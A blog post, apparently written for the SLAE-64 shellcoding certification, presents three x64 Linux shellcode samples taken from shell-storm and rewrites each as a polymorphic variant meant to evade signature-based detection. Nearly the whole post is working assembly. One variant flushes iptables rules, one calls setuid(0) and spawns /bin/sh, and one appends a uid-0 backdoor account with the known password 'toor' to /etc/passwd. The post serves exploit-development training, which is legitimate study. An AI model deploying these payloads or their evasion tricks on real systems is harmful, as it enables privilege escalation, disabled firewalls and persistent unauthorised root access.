Blog


X64 Linux Shellcode Polymorphism

Aug 7, 2018 | 6 minutes read

Tags: assembly, slae-64, shellcode

This post is the sixth of seven that will comprise my attempt at the SecurityTube Linux Assembly Expert (SLAE-64) certification. Each post will correspond to seven assignments of varying difficulty. I decided to take SLAE-64 to shore up my knowledge of assembly and shellcoding before diving in to OSCE.

Assignment #6 Requirements


  • choose 3 shellcode samples from shell-storm and create polymorphic versions of them to beat pattern matching
  • the polymorphic versions cannot be larger than 150% of the existing shellcode
  • bonus points for making it shorter than the original

Sample One

10n1z3d’s execve(“/sbin/iptables”, [“/sbin/iptables”, “-F”], NULL)

; Title: Linux/x86-64 - execve("/sbin/iptables", ["/sbin/iptables", "-F"], NULL) - 49 bytes
; Author: 10n1z3d <10n1z3d[at]w[dot]cn>
; Date: Fri 09 Jul 2010 03:26:12 PM EEST


;Source Code (NASM):

section .text
    global _start

_start:
    xor     rax, rax
    push    rax
    push    word 0x462d
    mov     rcx, rsp

    mov     rbx, 0x73656c626174ffff
    shr     rbx, 0x10
    push    rbx
    mov     rbx, 0x70692f6e6962732f
    push    rbx
    mov     rdi, rsp

    push    rax
    push    rcx
    push    rdi
    mov     rsi, rsp

    ; execve("/sbin/iptables", ["/sbin/iptables", "-F"], NULL);
    mov     al, 0x3b
    syscall
}

My Version

  • Original Size: 49 bytes
  • Allowable Size: 74 bytes
  • Actual Size: 65 bytes

I changed the -F to a --flush. Functionally, they’re equivalent, but it alters the string signature. Also, I changed how the strings were loaded, using a xor of an offset from the stack pointer. Also, simply changed the mov al instruction to an add al.

global _start

section .text
_start:
    xor rax, rax
    push rax

    mov rbx, 0x906873756c662d2d         ; --flush with NOP to avoid null
    push rbx
    xor byte [rsp + 0x7], 0x90          ; replace NOP with 0x0
    mov rcx, rsp

    mov rbx, 0x909073656c626174         ; tables with NOPs to avoid null
    push    rbx
    xor word [rsp + 0x6], 0x9090
    mov     rbx, 0x70692f6e6962732f
    push    rbx
    mov     rdi, rsp

    push rax
    push rcx
    push rdi
    mov rsi, rsp

    add al, 0x3b
    syscall

Sample Two

xi4oyu’s setuid(0) + execve(/bin/sh)

setuid(0) + execve(/bin/sh) - just 4 fun.
xi4oyu [at] 80sec.com

main(){
__asm(  "xorq %rdi,%rdi\n\t"
        "mov $0x69,%al\n\t"
        "syscall \n\t"
        "xorq   %rdx, %rdx \n\t"
        "movq   $0x68732f6e69622fff,%rbx; \n\t"
        "shr    $0x8, %rbx; \n\t"
        "push   %rbx; \n\t"
        "movq   %rsp,%rdi; \n\t"
        "xorq   %rax,%rax; \n\t"
        "pushq  %rax; \n\t"
        "pushq  %rdi; \n\t"
        "movq   %rsp,%rsi; \n\t"
        "mov    $0x3b,%al; \n\t"
        "syscall ; \n\t"
        "pushq  $0x1 ; \n\t"
        "pop    %rdi ; \n\t"
        "pushq  $0x3c ; \n\t"
        "pop    %rax ; \n\t"
        "syscall  ; \n\t"
);

My Version

  • Original Size: 48 bytes
  • Allowable Size: 72 bytes
  • Actual Size: 35 bytes

For this one, I altered the string to use two /’s in /bin//sh instead of the single / and a shr to avoid the null byte. I reducded the size a bit using some of the tricks I picked up over the course of this training. I also completely removed the original shellcode’s exit syscall. Once we spawn a shell, the exit call becomes irrelevant.

global _start

section .text
_start:
    ; define __NR_setuid 105
    ; int setuid(uid_t uid);
    xor edi, edi
    push 0x69
    pop rax
    syscall

    ; #define __NR_execve 59
    ; int execve(const char *filename, char *const argv[], char *const envp[]);
    xor edx, edx
    push rdx
    mov rbx, 0x68732f2f6e69622f  ; /bin//sh
    push rbx
    mov rdi, rsp
    push rdx
    push rdi
    mov rsi, rsp
    lea rax, [rdx + 0x3b]
    syscall

Sample Three

Christophe G’s add_user_password_JCP_open,write,close

; shellcode name add_user_password_JCP_open,write,close
; Author    : Christophe G SLAE64-1337
; Len       : 358 bytes
; Language  : Nasm
; "name = pwned ; pass = $pass$"
; add user and password with open,write,close
; tested kali linux , kernel 3.12

global _start

_start:

       xor rax , rax
       push rax
       pop rsi
       push rax                                       ; null all register used for open syscall
       pop rdx
       add al , 0x2
       mov rdi , 0x647773ffffffffff
       shr rdi , 0x28
       push rdi                                       ; "/etc/passwd"
       mov rdi , 0x7361702f6374652f
       push rdi
       mov rdi , rsp
       mov si , 0x441
       mov dx , 0x284
       syscall                                        ; open syscall

       xor edi , edi
       add dil , 0x3

jmp short findaddress                                   ; I placed the jmp short here size of code is too lenght for jmp short if placed in head

_respawn:

       pop r9
       mov  [r9 + 0x30] , byte 0xa                     ; terminate the string
       lea rsi , [r9]   ; "pwned:x:1001:1002:pwned,,,:/home/pwned:/bin/bash'
       mov al , 0x1
       xor rdx , rdx
       add rdx , 0x31
       syscall                                         ; write syscall

       xor edi , edi
       add dil , 0x3
       push rdi
pop rax
       syscall                                         ; close syscall

       xor rax , rax
       push rax
       pop rsi
       add al , 0x2
       mov rdi , 0x776f64ffffffffff                   ; open '/etc/shadow'
       shr rdi , 0x28
       push rdi
       mov rdi , 0x6168732f6374652f
       push rdi
       mov rdi , rsp
       mov si , 0x441
       mov dx , 0x284
       syscall                                       ; open syscall


       xor rax , rax
       add al , 0x1
       xor edi , edi
       add dil , 0x3
       lea rsi , [r9 + 0x31]                      ;  "pwned:$6$uiH7x.vhivD7LLXY$7sK1L1KW.ChqWQZow3esvpbWVXyR6LA431tOLhMoRKjPerkGbxRQxdIJO2Iamoyl7yaVKUVlQ8DMk3gcHLOOf/:16261:0:99999:7:::", 0xa
       push rax
       pop rdx
       add dl , 0x83
       syscall                                    ; write syscall

       xor edi , edi
       add dil , 0x3
       push rdi
       pop rax
       syscall




       xor rax , rax
       add al , 0x3c                             ;   exit (no matter value of exit code)
       syscall


     findaddress:
        call _respawn
        string : db "pwned:x:1001:1002:pwned,,,:/home/pwned:/bin/bashApwned:$6$uiH7x.vhivD7LLXY$7sK1L1KW.ChqWQZow3esvpbWVXyR6LA431tOLhMoRKjPerkGbxRQxdIJO2Iamoyl7yaVKUVlQ8DMk3gcHLOOf/:16261:0:99999:7:::",0xa

My Version

  • Original Size: 358 bytes
  • Allowable Size: 537 bytes
  • Actual Size: 126 bytes

I changed quite a few things in this one. Probably the most significant is the removal of the open,write,close of /etc/shadow. The password placeholder field in /etc/passwd will still accept a password entry just like you would normally see in /etc/shadow. We can leverage this information to drastically reduce the size of the original shellcode.

global _start

section .text
_start:
    ; #define __NR_open 2
    ; int open(const char *pathname, int flags);
    ; >>> os.O_WRONLY ^ os.O_APPEND
    ; 1025
    ; rax -> 2
    ; rdi -> /etc/passwd
    ; rsi -> 0x401
    xor eax, eax
    push rax
    mov ebx, 0x647773ff             ; swd
    shr ebx, 0x08
    push rbx
    mov rbx, 0x7361702f6374652f     ; /etc/pas
    push rbx
    mov rdi, rsp
    xor esi, esi
    mov si, 0x401                   ; O_WRONLY|O_APPEND
    add al, 0x2
    syscall

    ; #define __NR_write 1
    ; ssize_t write(int fd, const void *buf, size_t count);
    ; rax -> 1
    ; rdi -> results of open syscall
    ; rsi -> user's entry
    ; rdx -> len of user's entry
    xchg rdi, rax

    jmp short findaddress

_respawn:
    pop rsi
    push 0x1
    pop rax
    push 62
    pop rdx
    syscall

    ; #define __NR_close 3
    ; int close(int fd);
    ; rax -> 3
    ; rdi -> already contains /etc/passwd fd
    push 0x3
    pop rax
    syscall

    ; #define __NR_exit 60
    ; void _exit(int status);
    ; rax -> 60
    ; rdi -> don't care
    push 60
    pop rax
    syscall

findaddress:
    call _respawn
    string: db "pwned:$1$bUeq9i0X$U.pDViph7b.3zodHXOApV0:0:0::/root:/bin/bash",0xa
    ; openssl passwd -1
    ; Password: toor
    ; Verifying - Password: toor
    ; $1$bUeq9i0X$U.pDViph7b.3zodHXOApV0

homer-fade


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert
Student ID: E64-1584
My SLAE-64 Assignments Repository


comments powered by Disqus